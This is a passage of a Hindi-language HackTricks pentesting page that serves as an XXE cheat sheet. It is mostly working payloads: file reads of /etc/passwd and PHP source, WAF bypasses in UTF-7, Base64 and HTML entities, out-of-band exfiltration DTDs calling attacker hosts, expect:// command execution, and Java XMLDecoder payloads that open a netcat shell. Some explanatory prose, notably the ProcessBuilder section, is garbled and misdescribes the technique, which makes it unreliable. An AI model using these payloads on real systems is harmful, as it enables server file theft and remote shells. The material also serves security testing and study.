{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}

### Content-Type: x-www-urlencoded से XML तक

यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में एक XXE को शोषण करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि एक साधारण अनुरोध में निम्नलिखित शामिल होता है:
```markup
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```
तब आप निम्नलिखित अनुरोध को सबमिट कर सकते हैं, जिससे एक ही परिणाम होगा:
```markup
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type: JSON से XEE तक

अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "Content Type Converter"। [यहां](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप इस उदाहरण को देख सकते हैं:
```markup
Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```

```markup
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
एक और उदाहरण [यहाँ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) मिल सकता है।

## WAF और सुरक्षा बाइपास

### Base64
```markup
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
यह केवल तब काम करेगा जब XML सर्वर `data://` प्रोटोकॉल स्वीकार करता हो।

### UTF-7

आप यहां \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7 में बदलने के लिए उपयोग कर सकते हैं।
```markup
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```

```markup
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### फ़ाइल:/ प्रोटोकॉल बाईपास

यदि वेब PHP का उपयोग कर रहा है, तो `file:/` की बजाय आप **php wrappers** `php://filter/convert.base64-encode/resource=` का उपयोग करके **आंतरिक फ़ाइलों तक पहुंच सकते हैं**।

यदि वेब जावा का उपयोग कर रहा है, तो आप [**jar: प्रोटोकॉल**](xxe-xee-xml-external-entity.md#jar-protocol) की जांच कर सकते हैं।

### HTML Entities

[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) से ट्रिक\
आप **एक एंटिटी के भीतर एक एंटिटी** बना सकते हैं, इसे **HTML entities** के साथ एनकोड करें और फिर इसे **एक DTD लोड करने के लिए कॉल** करें।
ध्यान दें कि उपयोग किए जाने वाले **HTML Entities** को **संख्यात्मक** होना चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))।
```markup
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```
DTD उदाहरण:
```markup
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP रैपर्स

### बेस64

**एक्सट्रैक्ट** _**index.php**_
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **बाहरी संसाधन निकालें**
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### रिमोट कोड निष्पादन

**यदि PHP "expect" मॉड्यूल लोड हो रहा है**
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
## **SOAP - XEE**

एक्सटर्नल एंटिटी एक्सप्लोइटेशन (XEE) एक वेब अनुप्रयोग के लिए एक सुरक्षा गड़बड़ी है जो SOAP (Simple Object Access Protocol) पर आधारित होती है। XEE हमेशा XML पार्सिंग के दौरान होती है और इसमें एक अनुप्रयोग को ध्वज फ़ाइल या अन्य बाहरी संसाधनों को पढ़ने और लिखने की अनुमति होती है।

एक XEE हमला करने के लिए, हमलावर एक अनुप्रयोग में XML डेटा को इंजेक्ट करता है जिसमें एक एंटिटी डेक्लेरेशन होती है। इस डेक्लेरेशन में, एक एंटिटी नाम और उसके साथ जुड़े संदर्भ का उपयोग करके एक बाहरी एंटिटी फ़ाइल को लोड किया जा सकता है। इस तरह, हमलावर अनुप्रयोग के संदर्भ में बाहरी संसाधनों को पढ़ने और लिखने की अनुमति प्राप्त करता है।

एक XEE हमला के द्वारा, हमलावर गोपनीय डेटा को पढ़ सकता है, अनुप्रयोग को अवांछित तरीके से बंद कर सकता है, और अनुप्रयोग के लिए अनुमति नहीं होने वाले संसाधनों को अपने नियंत्रण में ले सकता है।

एक XEE हमला को शुरू करने के लिए, हमलावर को अनुप्रयोग के संदर्भ में एक एंटिटी डेक्लेरेशन इंजेक्ट करनी होती है। इसके बाद, वे बाहरी संसाधनों को पढ़ने और लिखने के लिए उपयोग किए जाने वाले संदर्भों को उपयोग करके एंटिटी फ़ाइल को लोड कर सकते हैं। इसके परिणामस्वरूप, हमलावर अनुप्रयोग के संदर्भ में बाहरी संसाधनों को पढ़ने और लिखने की अनुमति प्राप्त करता है।
```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## XLIFF - XXE

यह खंड [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से लिया गया है।
[Wikipedia](https://en.wikipedia.org/wiki/XLIFF) के अनुसार:

> XLIFF (XML Localization Interchange File Format) एक XML-आधारित बाइटेक्स्ट प्रारूप है जो स्थानीयकरण प्रक्रिया के दौरान और उपकरणों के बीच स्थानीयकरण डेटा को पास करने के तरीके को मानकीकृत करने के लिए बनाया गया है और CAT उपकरण विनिमय के लिए एक सामान्य प्रारूप है।

### अंधा अनुरोध
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
सर्वर त्रुटि के साथ प्रतिक्रिया देता है:
```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
लेकिन हमें Burp Collaborator पर हिट मिल गया।

### आउट ऑफ बैंड के माध्यम से डेटा निकालना
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
बर्प कॉलेबोरेटर द्वारा प्रदर्शित उपयोगकर्ता एजेंट के आधार पर, ऐसा लगता है कि यह **जावा 1.8** का उपयोग कर रहा है। इस जावा संस्करण के एक समस्या में से एक है कि हम **आउट ऑफ बैंड तकनीक का उपयोग करके `/etc/passwd` जैसे `नई पंक्ति` वाले फ़ाइलें प्राप्त नहीं कर सकते हैं**।

### त्रुटि आधारित डेटा निकालना

DTD फ़ाइल:
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
सर्वर की प्रतिक्रिया:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
बढ़िया! `non-exist` फ़ाइल त्रुटि संदेशों में प्रतिबिंबित होता है। अगला कदम फ़ाइल सामग्री जोड़ना है।

DTD फ़ाइल:
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
और फ़ाइल की सामग्री को सफलतापूर्वक **HTTP के माध्यम से भेजे गए त्रुटि के आउटपुट में मुद्रित किया गया**।

## आरएसएस - एक्सईई

एक XXE सुरक्षा को शोषण करने के लिए मान्य आरएसएस प्रारूप का वैध XML।

### पिंग बैक

हमलावरों के सर्वर को सरल HTTP अनुरोध।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### फ़ाइल पढ़ें

एक आम टेक्निक है जिसका उपयोग एक एक्सएमएल द्वारा किया जाता है जिसमें बाहरी संबंधित इकाई (ईई) शामिल होती है। यह टेक्निक एक अवधारणा का उपयोग करती है जिसे "बाहरी संबंधित इकाई" (ईई) कहा जाता है, जो एक एक्सएमएल दस्तावेज़ के भीतर संगठित डेटा को लोड करने की क्षमता प्रदान करती है। इस तकनीक का उपयोग करके, हैकर एक बाहरी एक्सएमएल फ़ाइल को लोड करके उसमें संगठित डेटा को पढ़ सकता है। यह उन ऐप्लिकेशनों में एक सुरक्षा समस्या उत्पन्न कर सकता है जो एक्सएमएल दस्तावेज़ को पार्स करते हैं और बाहरी ईई को स्वीकार करते हैं।

बाहरी ईई का उपयोग करके, हैकर एक्सएमएल दस्तावेज़ के भीतर संगठित डेटा को पढ़ सकता है, जिसमें सामान्यतः संग्रहीत डेटा, फ़ाइलों के नाम, फ़ाइलों की सामग्री, डेटाबेस कनेक्शन विवरण और अन्य संग्रहीत जानकारी शामिल हो सकती है। यह जानकारी हैकर को अनुचित रूप से उपयोग करने की अनुमति देती है और उन्हें अनधिकृत उपयोगकर्ताओं के लिए उपयोगी हो सकती है।

इस तकनीक का उपयोग करने के लिए, हैकर एक एक्सएमएल दस्तावेज़ को तैयार करता है जिसमें बाहरी ईई को संदर्भित किया जाता है। फिर, वे इस दस्तावेज़ को उस ऐप्लिकेशन में सबमिट करते हैं जो एक्सएमएल दस्तावेज़ को पार्स करता है और बाहरी ईई को स्वीकार करता है। जब ऐप्लिकेशन बाहरी ईई को स्वीकार करता है, तो वह बाहरी एक्सएमएल फ़ाइल को लोड करता है और उसमें संगठित डेटा को पढ़ता है।

इस तकनीक का उपयोग करने के लिए, एक्सएमएल दस्तावेज़ को तैयार करने के लिए एक एक्सएमएल एडिटर का उपयोग किया जा सकता है, जैसे कि एक्सएमएल स्पाइडर, एक्सएमएल प्रो या एक्सएमएल एडिटर। इन एडिटर का उपयोग करके, एक्सएमएल दस्तावेज़ को तैयार करें और बाहरी ईई को संदर्भित करें। फिर, ऐप्लिकेशन में इस दस्तावेज़ को सबमिट करें और बाहरी एक्सएमएल फ़ाइल को लोड करें और संगठित डेटा पढ़ें।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### स्रोत कोड पढ़ें

PHP base64 फ़िल्टर का उपयोग करें
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
## जावा XMLDecoder XEE से RCE तक

XMLDecoder एक जावा कक्षा है जो XML संदेश पर आधारित ऑब्जेक्ट बनाती है। यदि एक दुष्ट उपयोगकर्ता को एक अनुरोध में आवश्यक डेटा का उपयोग करने के लिए एक अनुप्रयोग को प्राप्त कर सकता है, तो वह सर्वर पर कोड निष्पादन प्राप्त करेगा।

### Runtime().exec() का उपयोग करें
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
### ProcessBuilder

ProcessBuilder एक जावा कक्षा है जो एक नया प्रक्रिया शुरू करने के लिए उपयोग की जाती है। यह एक विशेषता है जो एक निर्दिष्ट आरएनएमएल (यूआरएल) पर एक निर्दिष्ट एक्सएमएल (एक्सईई) दस्तावेज़ को लोड करने की क्षमता प्रदान करती है। इसका उपयोग करके, आप एक एक्सएमएल एंटिटी को एक प्रक्रिया में लोड कर सकते हैं और उसे प्रोसेस कर सकते हैं। यह एक उच्च स्तरीय तकनीक है जो एक्सएमएल बाहरी इकाई (एक्सईई) हमलों के लिए उपयोग की जा सकती है।

एक उदाहरण के रूप में, आप निम्नलिखित कोड का उपयोग करके एक एक्सएमएल एंटिटी को प्रोसेस कर सकते हैं:

```java
String xmlPayload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/xxe.dtd\">]><foo>&xxe;</foo>";

ProcessBuilder processBuilder = new ProcessBuilder("curl", "-d", xmlPayload, "http://example.com/api");
Process process = processBuilder.start();
```

इस उदाहरण में, हमने एक एक्सएमएल एंटिटी को बनाया है जो एक बाहरी डीटीडी (डीटीडी) फ़ाइल को लोड करता है। यह फ़ाइल एक एक्सएमएल एंटिटी को परिभाषित करती है जो हमारे निर्दिष्ट यूआरएल पर एक एक्सएमएल दस्तावेज़ को लोड करता है। इसके बाद, हमने `curl` कमांड का उपयोग करके एक प्रक्रिया शुरू की है जिसमें हमने एक डेटा बॉडी के रूप में एक्सएमएल पेलोड को भेजा है। इस प्रक्रिया के माध्यम से, हम एक एक्सएमएल एंटिटी को प्रोसेस कर सकते हैं और उसे अपनी इच्छानुसार उपयोग कर सकते हैं।
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
## उपकरण

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

## अधिक संसाधन

[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
अपने बाहरी DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
[https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके।**

</details>